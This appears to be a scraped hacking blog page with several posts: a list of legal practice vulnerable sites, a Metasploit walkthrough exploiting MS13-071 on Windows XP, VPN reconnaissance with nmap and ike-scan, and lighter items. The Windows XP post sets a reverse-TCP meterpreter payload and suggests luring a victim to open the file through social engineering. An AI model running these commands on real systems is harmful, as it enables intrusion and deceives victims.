.:: Dark Site ::.

Online | Live Sites For Practice Web Application Hacking Skills

:Part1: 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTFcFaz6_UQ1YUhXR_QYwxHxwxbpU0WTY-33AsEjjGMdAwKrY74wKTXVSfdHJKQAUFpw7kCVbH672CnAKhXPz2UT6yP5zW3HfoMfnChR_GKEU1OvmnjfXTxlMWHXwYb5QBzEDyEtJD_qu0/s1600/hacker.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="online live site to practice hacking skills" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTFcFaz6_UQ1YUhXR_QYwxHxwxbpU0WTY-33AsEjjGMdAwKrY74wKTXVSfdHJKQAUFpw7kCVbH672CnAKhXPz2UT6yP5zW3HfoMfnChR_GKEU1OvmnjfXTxlMWHXwYb5QBzEDyEtJD_qu0/s1600/hacker.jpg" /></a></div>Here are the list of website that beginners always look for in order furnish their skills,many at various place i encounter where students/new excited security learner ask me "is there any site available to practice all this hacking skills legally?" . 
 
So here are list of online where you can test your practice its complete safe . next post i will share how you can mount own server on vmware and practice locally from own computer. 
 
These are few online and live vulnerable web applications available on the Internet to play with. 
 
Acunetix: 
<a href="http://testasp.vulnweb.com">http://testasp.vulnweb.com</a> (Forum - ASP) 
<a href="http://testaspnet.vulnweb.com">http://testaspnet.vulnweb.com</a> (Blog - .NET) 
<a href="http://testphp.vulnweb.com">http://testphp.vulnweb.com</a> (Art shopping - PHP) 
Cenzic CrackMeBank: <a href="http://crackme.cenzic.com">http://crackme.cenzic.com</a> 
Google Gruyere (Python): <a href="http://google-gruyere.appspot.com/start">http://google-gruyere.appspot.com/start</a> 
Hacking-Lab (eg. OWASP Top 10): <a href="https://www.hacking-lab.com/events/registerform.html?eventid=245">https://www.hacking-lab.com/events/registerform.html?eventid=245</a> 
Hack.me (beta): <a href="https://hack.me">https://hack.me</a> 
HackThisSite (HTS - Basic & Realistic (web) Missions): <a href="http://www.hackthissite.org">http://www.hackthissite.org</a> 
Hackxor online demo: <a href="http://hackxor.sourceforge.net/cgi-bin/login.pl">http://hackxor.sourceforge.net/cgi-bin/login.pl</a> (algo/smurf) 
HP/SpiDynamics Free Bank Online: <a href="http://zero.webappsecurity.com">http://zero.webappsecurity.com</a> (admin/admin) 
IBM/Watchfire AltoroMutual: <a href="http://demo.testfire.net">http://demo.testfire.net</a> (jsmith/Demo1234) 
NTOSpider Web Scanner Test Site: <a href="http://www.webscantest.com">http://www.webscantest.com</a> (testuser/testpass) 
OWASP Hackademic Challenges Project - Live (PHP - Joomla): <a href="http://hackademic1.teilar.gr">http://hackademic1.teilar.gr</a> 
Pentester Academy: <a href="http://pentesteracademylab.appspot.com">http://pentesteracademylab.appspot.com</a>(One of my fav) 
 
Enjoy all these different web vulnerable environments and sharp your web app pen-testing skills and tools practicing with them. 
On Next part i will post the list downloadable file which you can use for boost your hacking skills

Online | Live Sites For Practice Web Application Hacking Skills

: Part1 : Here are the list of website that beginners always look for in order furnish their skills,many at various place i encounter where...

Hack Windows XP PC (Theme Arbitrary Code Execution) with Kali linux

Happy Republic Day to all Indians Proud of being Indian jai Hind!!! 
 
So today we will look how an attacker can hack into windows xp system using a Arbitrary code execution vulnerability.We are going to use metasploit that is present on kali Linux or you can do the same with backtrack also. Technical description of the vulnerability is there exist a vulnerability on Microsoft Windows XP and Windows 2003 Operating system on handling of the Screen Saver path, in the [boot] section. An arbitrary path can be used as screen saver, including a remote SMB resource, which allows for remote code execution when a malicious .theme file is opened, and the “Screen Saver” tab is viewed. 
 
Lets carryout the attack Practically here i have used victim machine to windows sp3 and attack to be kali Linux. 
so follow it step by step 
<li>open terminal in kali Linux and type msfconsole. 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi1gvYU4M0mT-cjWwJvScSaOlSqhhE52TkHKVD9RbgoW8XGQi3nSpwZIiOqE1ojt4i7ROuSAzuiUZI2KlynQapYmODLVapkTERoyWt2kjPM8jBrDCqKQ7DyseUFevlDg9mY56nv92NSMobA/s1600/msfconsole.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="msfconsole on kali" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi1gvYU4M0mT-cjWwJvScSaOlSqhhE52TkHKVD9RbgoW8XGQi3nSpwZIiOqE1ojt4i7ROuSAzuiUZI2KlynQapYmODLVapkTERoyWt2kjPM8jBrDCqKQ7DyseUFevlDg9mY56nv92NSMobA/s720/msfconsole.png" width="580" /></a></div> 
<li>Now type down following commands one by one 
 
<li>use exploit/windows/fileformat/ms13_071_theme 
 
<li>msf exploit (ms13_071_theme)>set payload windows/meterpreter/reverse_tcp 
 
<li>msf exploit (ms13_071_theme)>set lhost 192.168.223.133 
(IP of your Kali machine to know type ifconfig on new terminal) 
<li>msf exploit (ms13_071_theme)>set srvhost 192.168.223.133 
 
<li>msf exploit (ms13_071_theme)>exploit 
 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWB_v2j6EAa7GF57pWqnEU6ejKMmpBRx7T71Ei3op4oeWCG3hjoJn68bByMRMWhtCJtH0bptigNjeQw4rojMhFFySaOkxLSk-Iu5MqzLYNGntB6wqjISyAvRTxys4aUzoQ_KL87NrwZdVl/s1600/exploit.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Exploit to hack windows xp system" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWB_v2j6EAa7GF57pWqnEU6ejKMmpBRx7T71Ei3op4oeWCG3hjoJn68bByMRMWhtCJtH0bptigNjeQw4rojMhFFySaOkxLSk-Iu5MqzLYNGntB6wqjISyAvRTxys4aUzoQ_KL87NrwZdVl/s720/exploit.png" width="580" /></a></div> 
once all this done you need to give to your victim \\192.168.1.3:gCzJXDKtJugDsVFC.scr via chat or email or any social engineering technique you can use.once the victim open the url provided by you he will asked for confirmation of opening link . 
as soon as victim click run you will have your meterpreter shell open . 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTU8eAEog_MgIFMHxgCZaiNufAc5nvacQrTNXRFf66HL5ovXfgkilCq6Yp_fvrSOo81trApANBY2C-4N_0MkKD4S8IJcnrmBCX3KmlLG74LJ9it4V6U1GL9t8Fx08CkOk1uGL-k7YV3E46/s1600/send+link.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Confirmation for un" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTU8eAEog_MgIFMHxgCZaiNufAc5nvacQrTNXRFf66HL5ovXfgkilCq6Yp_fvrSOo81trApANBY2C-4N_0MkKD4S8IJcnrmBCX3KmlLG74LJ9it4V6U1GL9t8Fx08CkOk1uGL-k7YV3E46/s420/send+link.png" /></a></div>Now you have access to the victims PC. Use “sessions -l” and the Session number to connect to the session. And Now Type “sessions -i ID“ 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhp2kqsL6AsieXX3FoYdiiF5K_G7x-7lhPEyDW1VQvkXXmIessjhDvYWGBbzQRmEMRnnbK6BnAEjcIYqoXAWsj_Y2rum9Hz5YUSAn8hZIhCHP8QR2C9fqlpRl8h_dNbEyKkOSfonJlIq-nq/s1600/hacked.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Hacked into Windows XP system" height="500" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhp2kqsL6AsieXX3FoYdiiF5K_G7x-7lhPEyDW1VQvkXXmIessjhDvYWGBbzQRmEMRnnbK6BnAEjcIYqoXAWsj_Y2rum9Hz5YUSAn8hZIhCHP8QR2C9fqlpRl8h_dNbEyKkOSfonJlIq-nq/s820/hacked.png" width="600" /></a></div>Enjoy Hacking Be safe and keep learning .

Hack Windows XP PC (Theme Arbitrary Code Execution) with Kali linux

Happy Republic Day to all Indians Proud of being Indian jai Hind!!! So today we will look how an attacker can hack into windows xp system ...

Google Glass Hacks:Fun and Frightening use Presentation

<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKP-tlMYCefkEZLyBV08MaEXysMeyE9Vq8qUoOWZZaSzPR25tdrXuzOjVtjCTAmmJ7dOfxpxq-6F8-D8nGYAcyHtl9mE1eqpGT4WGVz3gB4zOnaAiYgNQyQFX1D_2YrZsnICZo83gbr3Ct/s1600/googleglass.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Google Glass Hacks" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKP-tlMYCefkEZLyBV08MaEXysMeyE9Vq8qUoOWZZaSzPR25tdrXuzOjVtjCTAmmJ7dOfxpxq-6F8-D8nGYAcyHtl9mE1eqpGT4WGVz3gB4zOnaAiYgNQyQFX1D_2YrZsnICZo83gbr3Ct/s1600/googleglass.jpeg" /></a></div>Here is a nice video presented on Google glass hack this technical lecture covers lots of things from machine learning and AI to hardware design and manufacture. Includes demonstrations of applications enabled by an always-on image capturing wearable computer. You'll leave with a clear understanding of the field's status quo, how we got here, and insight into what's around the corner. 
Always-on camera enabled wearable computers, like Google Glass and Lambda Hat, enable a variety of slightly creepy, but undeniably useful applications. For the past few months, I've worn a computing device that takes pictures every few seconds. I run facial detection over the image stream, pulling out every face I have seen. Soon, we'll be able to conduct mass facial recognition using this data. Other applications include detecting license plates and automatically uploading them to a public GPS tagged website. This talk will cover the history, state of the art, and future of wearable computing, machine learning, and the privacy implication of this technology. 
 
Video 
====== 
<iframe width="560" height="315" src="//www.youtube.com/embed/PnXGb7RHXWQ" frameborder="0" allowfullscreen></iframe> 
<a href="https://events.ccc.de/congress/2013/wiki/Main_Page">Source</a> 
It do deserve a share with those many useful information and great presentation everyone geek should whatch

Google Glass Hacks:Fun and Frightening use Presentation

Here is a nice video presented on Google glass hack this technical lecture covers lots of things from machine learning and AI to hardware de...

Cyber Crime And Rules On Internet Be Safe

<div class="center"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhT3KrovZgUsRN7Kxw_RGh1R6EvjN1-Tw7rkwSzeLjiCG5XMbsXwMUxmbs6POXJBF9awMNAvzgIv7YW_IbsM2bzTW56zZ6dLRVqTYPmmJ92qNGVyQd7kmh5E01cts6BKa3cHPNJh95viDpr/s1600/cyber+.jpg"> 
<img alt="Cyber Crime And Rules" height="399" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhT3KrovZgUsRN7Kxw_RGh1R6EvjN1-Tw7rkwSzeLjiCG5XMbsXwMUxmbs6POXJBF9awMNAvzgIv7YW_IbsM2bzTW56zZ6dLRVqTYPmmJ92qNGVyQd7kmh5E01cts6BKa3cHPNJh95viDpr/s1600/cyber+.jpg" width="520" /> 
</a> 
Cyber Crime And Rules That You Should Know 
</div>As The Days Progresses use of computers and the internet has increased rapidly among people.with the gaining popularity of internet or world wide web there also growth in crime specific to cyber world.people are getting smart enough to steal some one credential and perform various action on that may be consider bank account transaction or hacking into social network. 
Everyone who uses the internet is a potential victim. In the enforcement of these criminal offenses, it is imperative to incarcerate the small percentage who are criminal users and to protect the majority of users who are innocent. There is a broad spectrum of computer and internet crimes and they are often covered by both state and federal laws. 
 
Computer offences can be defined as a crime in which a computer, or a network of computers, are used in the commission of the crime. If an individual takes advantage of the internet in the commission of a crime, this is sometimes called a net-crime. 
 
The direct victim of a computer crime can either be the computer, or network, itself. These crimes can victimize something independent of the network such as a consumer by simply using a computer during the crime. 
 
Crimes that target computers specifically include things such as the implementation of computer viruses. Another type of this crime is sometimes referred to as a denial-of-service attack which is aimed at bringing down a particular network. The introduction of malware to a network is also a direct attack on a computer. Examples of malware are trojan horses and spyware. These are forms of unwanted software which infect a computer and are also referred to as a computer contaminant. 
Cyber terrorism is a form of this type of crime in which the perpetrator attempts to bring down a large scale computer network to interrupt its users and create panic. 
 
Examples of computer crimes with independent victims are cyberstalking, identity theft, and phishing. 
 
Some other common examples that are often publicized in the media are the distribution of child pornography and hate propaganda. Cyber terrorism and those distributing hate propaganda are directly linked because they are often perpetrated by the same organization or organizations with similar goals. 
 
With such a variety of offenses related to the cyber world, many worry that they will be subject to prosecution if they wander into an inappropriate website or inadvertently spread malware. The truth of the matter is that in the majority of state and federal statutes regulating computer crimes, the laws are written specifically to target those who indicate that they "knowingly" and/or "willingly" perpetrated one of these offenses. 
 
The agents who investigate these crimes, along with the prosecutor, carry the burden of showing that a person had the intent to commit the computer crime. A knowledgeable criminal lawyer can provide the expertise to defend those who may find themselves prosecuted for something that they did not have the intent to commit. 
 
So Lets Make the Cyber world Crime Free and Better for ease of Use For Benefit.

Cyber Crime And Rules On Internet Be Safe

Cyber Crime And Rules That You Should Know As The Days Progresses use of computers and the internet has increased rapidly among people.w...

Facebook Hack to Make Different Profile Picture and Tumbails

Hi all here is a small trick that you can use to make your two different Facebook profile picture its just a small photo id related hack that makes it cool lets do it. 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgnLmaIrlrQJK891YlWnXRLXl7zOvEeQSzjZk55I7WRAEHlA-AwiJQw8oXxXDG_W-F7J4Xyac_vAP51WBM1APThSJePjyoZW7uy5bydyoALys_sWb0GKor3pQy1NHrMo1e11PtuJvbkI1C-/s1600/facebook+hack.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgnLmaIrlrQJK891YlWnXRLXl7zOvEeQSzjZk55I7WRAEHlA-AwiJQw8oXxXDG_W-F7J4Xyac_vAP51WBM1APThSJePjyoZW7uy5bydyoALys_sWb0GKor3pQy1NHrMo1e11PtuJvbkI1C-/s520/facebook+hack.png" /></a></div>Follow it step wise 
 
<li>ok first of all chose an image that you want to make different profile picture 
 
<a href="https://www.facebook.com/me/photos_albums">Get your own photo albums</a> 
It will open your "Profile Pictures" Album , click any picture you want to use as another profile picture. 
 
<li>After opening(Click) your wished profile image , look at the url and copy the "fbid" value , mine here is : 250571248304537 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiZpwGamKudISFbAMohbX3WYeH_0Nx7uvfMwxLP3IC6bVj27vrwdPI51FNDujONb2OaLZmaXWpn0cLdZymhge_d71TPSvYFyCgPtu8xJEYqGF6Hsg6_i3x_3Cn4Jmoma4ZzIUzO1zIepM5/s1600/1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="facebook hack on image change" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiZpwGamKudISFbAMohbX3WYeH_0Nx7uvfMwxLP3IC6bVj27vrwdPI51FNDujONb2OaLZmaXWpn0cLdZymhge_d71TPSvYFyCgPtu8xJEYqGF6Hsg6_i3x_3Cn4Jmoma4ZzIUzO1zIepM5/s320/1.png" /></a></div> 
<li>Carefully from here go to your Facebook account , click your profile picture and choice "Edit Thumbnail" . 
a pop up window will appear . 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAxIjynBM3P1axJPA19m8EPcX_y9HH4Wmuj2nF9Xyci6FU_GYLukn6lo6DHqC3zMHeQ9Sj7RhG2Bi3iulR_s_2hOGuGlvFZzobXWkv8ZZOXAMdRfHx3cU8VWoH2Ej184KLqsWo3ULMWk-K/s1600/2.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAxIjynBM3P1axJPA19m8EPcX_y9HH4Wmuj2nF9Xyci6FU_GYLukn6lo6DHqC3zMHeQ9Sj7RhG2Bi3iulR_s_2hOGuGlvFZzobXWkv8ZZOXAMdRfHx3cU8VWoH2Ej184KLqsWo3ULMWk-K/s320/2.png" /></a></div>Now right click and inspect element . 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg843z3WSrk1l-OqRjCwEKxW74_Ia0mSljw__3UmKdjqdJxuyGs_RQKXFfRX3UG23sxgq7jZ-Uvx3fEVEoZAwoc7JboRs_Q7AC-ubJEjF9SWYVMDD6Vhn-GGIgAvB_jRxHHl4sy2nyrVBkx/s1600/3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg843z3WSrk1l-OqRjCwEKxW74_Ia0mSljw__3UmKdjqdJxuyGs_RQKXFfRX3UG23sxgq7jZ-Uvx3fEVEoZAwoc7JboRs_Q7AC-ubJEjF9SWYVMDD6Vhn-GGIgAvB_jRxHHl4sy2nyrVBkx/s320/3.png" /></a></div><li>Here come the important step Scroll down until you reach the code which start with : 
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhHMGvY4NiVzJaGbLm1CHXHbm7BcKgkCQB-2nN04Cl0m32ELRFydWRVTyk6RipfgF4v7a0EeWPKmKn3oNlofmHVvTYwuCI_sFlNW_9k4pcnpkHeKmd_aoiu_uB5Ca9BLDBhT_9kQ6E6JrG1/s1600/one.png" imageanchor="1"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhHMGvY4NiVzJaGbLm1CHXHbm7BcKgkCQB-2nN04Cl0m32ELRFydWRVTyk6RipfgF4v7a0EeWPKmKn3oNlofmHVvTYwuCI_sFlNW_9k4pcnpkHeKmd_aoiu_uB5Ca9BLDBhT_9kQ6E6JrG1/s1600/one.png" /></a> 
Click the left small arrow to open the code and scroll down a bit until you find this code : 
 
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiaSaMVe477VFGgCm3mzy191vqV_ZLlU3qeSM-u2ICr72s48ep9vSQS3JxGPnm0sQJvM7JiHIDz4StPKcplP4gqmejepmDneZhP22PWT3FOtaIrKwYMTFfBR7ezG0IuhOq6maJ9jgqONlLU/s1600/12334.png" imageanchor="1"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiaSaMVe477VFGgCm3mzy191vqV_ZLlU3qeSM-u2ICr72s48ep9vSQS3JxGPnm0sQJvM7JiHIDz4StPKcplP4gqmejepmDneZhP22PWT3FOtaIrKwYMTFfBR7ezG0IuhOq6maJ9jgqONlLU/s1600/12334.png" /></a> 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimglMWob8DgOntz1yKs3ykg50NH6T9Ho2Il7OyEEhAePiAtsZOOcKlbVxxuyjAmcpy_vo5d9f0SognBL02NQvdkWDE5XO9NHEWp9BXqCpaFqUAbcQNbZZtv1HET6eDD5QlKdst3Oli8z0b/s1600/4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimglMWob8DgOntz1yKs3ykg50NH6T9Ho2Il7OyEEhAePiAtsZOOcKlbVxxuyjAmcpy_vo5d9f0SognBL02NQvdkWDE5XO9NHEWp9BXqCpaFqUAbcQNbZZtv1HET6eDD5QlKdst3Oli8z0b/s320/4.png" /></a></div><li>and finally Double click on the value to edit it , or right click and choice edit html , paste the fbid value that you copied in step "2" above . 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJIU7i8XSadoKVE-Hj26_24yQOtWXdtUxEawlUMTSXA4OyKIQMK1FxAgaX3RF7YN5YlaCAzHua7-stcJcvhGKEXs44nxqMj6a5eAMKmL3kPRJsM0tNSJdJ2gmKUzU9E3ynfDnF0ZEw9cqk/s1600/5.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJIU7i8XSadoKVE-Hj26_24yQOtWXdtUxEawlUMTSXA4OyKIQMK1FxAgaX3RF7YN5YlaCAzHua7-stcJcvhGKEXs44nxqMj6a5eAMKmL3kPRJsM0tNSJdJ2gmKUzU9E3ynfDnF0ZEw9cqk/s320/5.png" /></a></div> 
Click to save the changed , close the "Inspect element" window , Finally click "Save" Volla thats done :). 
Thanks a lot keep visiting have fun .

Facebook Hack to Make Different Profile Picture and Tumbails

Hi all here is a small trick that you can use to make your two different Facebook profile picture its just a small photo id related hack tha...

Penetration Testing VPN With Ike Scanner On Backtrack Part-1

Hi All As you all know these days many organisation using VPN Quite Actively so we will take a quick look on penetration testing Virtual Private Network Using Ike Scanner On Backtrack. 
So there is a myth on everyone mind that VPN Provide Full Protection Against Hacker (Means no hacker can hack :P )...so its never like that if there exist some loop hole than any attacker can hack network against any high security but VPN Does ensure some level of protection..still we will discuss some good and bad point in VPN connection. 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEizUrPP7oX9oxnTd3qf8yDiv4R_lyfiJ1BYV4ev41DXgh8K93rHKWvuhqLU_1kdtWvc5D1tMFJAwUJbOuUDe4fK85Y_uoCzTzCVBh2ajoj0wldUKQMxPeuiple-r0nO7aMuCx3w9wHDo3cz/s1600/vpn-service.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Penetration Testing VPN Network" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEizUrPP7oX9oxnTd3qf8yDiv4R_lyfiJ1BYV4ev41DXgh8K93rHKWvuhqLU_1kdtWvc5D1tMFJAwUJbOuUDe4fK85Y_uoCzTzCVBh2ajoj0wldUKQMxPeuiple-r0nO7aMuCx3w9wHDo3cz/s620/vpn-service.jpg" width="550" /></a></div>The meaning of doing VPN penetration testing because it help the organisation to baseline (identify the loopholes that exist in the present implementation and modify the configuration accordingly to protect itself from known problems) its current VPN security posture, identify threats and weaknesses, and implement a new security policy that will mitigate risks. 
 
Penetration Testing A VPN Network Involves several phases those are :- 
 
<li>Scanning or identifying the VPN gateway. 
<li>Fingerprinting the VPN gateway for guessing implementation. 
<li>PSK mode assessment and PSK sniffing. 
<li>Offline PSK cracking. 
<li>Checking for default user accounts. 
<li>Testing the VPN gateway for vendor specific vulnerabilities. 
 
this first step you can easily do with tools like <a href="http://www.darksite.co.in/2013/08/nmap-commands-for-hackers-kali.html">nmap</a> 
Example :- 
<blockquote>root@bt:~# nmap -sU -p 500 172.16.21.200 
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST 
Nmap scan report for 172.16.21.200 
Host is up (0.00036s latency). 
PORT STATE SERVICE 
500/udp open isakmp 
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems) 
 
Nmap done: 1 IP address (1 host up) scanned in 0.17 seconds 
</blockquote>Now as you now i have used -sU For Udp Scan And -p is for specifying port to be 500. 
 
IKE Scan Tool :- 
Ike-scan is a simple but powerful command-line tool that is used to find and fingerprint VPN gateways. It sends specially crafted IKE packets to target gateways and enlists any IKE responses that are received. By default, Ike-scan works in main mode, and sends a packet to the gateway with an ISAKMP header and a single proposal with eight transforms inside it. 
 
Each transform contains a number of attributes like DES or 3DES as the encryption algorithm, SHA or MD5 as the integrity algorithm, a pre-shared key as the authentication type, Diffie-Hellman 1 or 2 as the key distribution algorithm and 28800 seconds as the lifetime. 
 
Initial VPN discovery with Ike-scan is as shown below: 
<blockquote>root@bt:~# ike-scan -M 172.16.21.200 
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/) 
172.16.21.200 Main Mode Handshake returned 
HDR=(CKY-R=d90bf054d6b76401) 
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) 
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation) 
 
Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify 
</blockquote>The -M shows each payload in a line, so that the output will be neat and easy to understand. The output can be any of the following: 
 
<li>0 returned handshake; 0 returned notify: This means the target is not an IPsec gateway. 
<li>1 returned handshake; 0 returned notify: This means the target is configured for IPsec and is willing to perform IKE negotiation, and either one or more of the transforms you proposed are acceptable. 
<li>0 returned handshake; 1 returned notify: VPN gateways respond with a notify message when none of the transforms are acceptable (though some gateways do not, in which case further analysis and a revised proposal should be tried). 
In the example shown, the VPN gateway replies with one returned handshake and the acceptable transform set has these parameters: 
<blockquote>Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800 
 
Custom transform sets can be tried against the target with the 
"--trans" switch: 
 
--trans=(1=1,2=2,3=1,4=2) 
</blockquote>where 1=Encryption Algorithm, 2=Hash Algorithm, 3=Authentication Method, 4=Group Description, and 5=Group Type. 
 
Kindly refer to <a href="http://www.ietf.org/rfc/rfc2409.txt">RFC 2409</a> Appendix A for a complete understanding of transform set values. There are a number of other tools like ipsectrace, ipsecscan, etc., available for IPsec scanning, but undoubtedly Ike-scan is one of the best and a frequently updated tool. 
 
Vulnerability assessment tools like Nessus, Nexpose, etc, can be used to identify the vulnerabilities of VPN implementations. A full security audit on the target gateway with such types of tools will generate a detailed report with all identified problems and the mitigation steps available. 
 
Further penetration testing i will post on later tutorial plese leave your comment below if you have any query.

Penetration Testing VPN With Ike Scanner On Backtrack Part-1

Hi All As you all know these days many organisation using VPN Quite Actively so we will take a quick look on penetration testing Virtual Pri...

Free Learn Wifi Security With Vivek Ramachandran ( Books | Video Tutorials & Concepts )

Hi everyone it really Feel great that Vivek RamaChandran Sir has done an awesome video series of wifi security which makes you clear on most of the concept related to wifi security .past few days i have a great interest on learn wifi security so i found wifi security by vivek sir and let me tells you this video series some contain some quality training material with live practicals and clear cut understanding. 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEix3ryC73Dtaype1CnlFnxSVKPruQfQlnBjSPDFCOH4J7gBQoavhrdXVvzpUu4OtNU9nJcviniS0Nwx2hFQQ5doLxEh3WVgpDNUPA1MjuYwmWPVgdDnHBg7-a2C_ETquuYu4f8z_dQyTw9Y/s1600/free+learn.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="free download wifi hacking videos and books" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEix3ryC73Dtaype1CnlFnxSVKPruQfQlnBjSPDFCOH4J7gBQoavhrdXVvzpUu4OtNU9nJcviniS0Nwx2hFQQ5doLxEh3WVgpDNUPA1MjuYwmWPVgdDnHBg7-a2C_ETquuYu4f8z_dQyTw9Y/s1600/free+learn.png" /></a></div>You must have seen our previous Post 
 
<a href="http://www.darksite.co.in/2013/05/free-download-backtrack-5-wireless.html">Free download BackTrack 5 Wireless Penetration Testing By Vivek Ramachandran</a> Which share free e book by vivek sir. 
 
let me tell you about some contents about the video series:- 
 
It Contain fully practical with explanation.it is best for penetration testers, security enthusiasts and network administrators. 
This video series will take you through a journey in wireless LAN (in)security and penetration testing.it will also teach you very basics of how WLANs work, graduate to packet sniffing and injection attacks, move on to audit infrastructure vulnerabilities, learn to break into WLAN clients and finally look at advanced hybrid attacks involving wireless and applications 
 
A non-exhaustive list of topics to be taught includes: 
 
<li>Bypassing WLAN Authentication – Shared Key, MAC Filtering, Hidden SSIDs 
<li>Cracking WLAN Encryption – WEP, WPA/WPA2 Personal and Enterprise, Understanding encryption based flaws (WEP,TKIP,CCMP) 
<li>Attacking the WLAN Infrastructure – Rogues Devices, Evil Twins, DoS Attacks, MITM, Wi-Fi Protected Setup 
<li>Advanced Enterprise Attacks – 802.1x, EAP, LEAP, PEAP, EAP-TTLS 
<li>Attacking the Wireless Client – Honeypots and Hotspot attacks, Caffe-Latte, Hirte, Ad-Hoc Networks and Viral SSIDs, WiFishing 
<li>Breaking into the Client – Metasploit, SET, Social Engineering 
<li>Enterprise Wi-Fi Worms, Backdoors and Botnets 
 
About VivekRamachandran (Author of Book /Trainer):- 
 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEglZMgJRuFn50SEPF0pR85W8ojzJf5PxM8J3mRYGgW6ZLuwEob7n1QayR7bh7YUHAO5SaLOOyn7ailMDyAwMUX6lv3L5yHcx2cbdoEopj5VY8_YG35WO9H2tCP1Be0fK6-YsDZWjb2NxNlJ/s1600/vivek+sir.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img alt="Vivek Ramachandran" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEglZMgJRuFn50SEPF0pR85W8ojzJf5PxM8J3mRYGgW6ZLuwEob7n1QayR7bh7YUHAO5SaLOOyn7ailMDyAwMUX6lv3L5yHcx2cbdoEopj5VY8_YG35WO9H2tCP1Be0fK6-YsDZWjb2NxNlJ/s1600/vivek+sir.jpg" /></a></div>Vivek has been into Wireless security research since 2003 ,He was also one of the winners of Microsoft Security Shootout contest held in India among a reported 65,000 participants,his work on wireless security has been quoted in BBC online, InfoWorld, MacWorld, The Register, IT World Canada etc. places. He has spoken/trained at top conferences around the world including Blackhat USA and Abu Dhabi, Defcon, Hacktivity, Brucon, ClubHack, SecurityByte, SecurityZone, Nullcon, C0C0n etc.He is best known in the hacker community as the founder of SecurityTube.net where he routinely posts videos on Wi-Fi Security, Assembly Language, Exploitation Technique. 
 
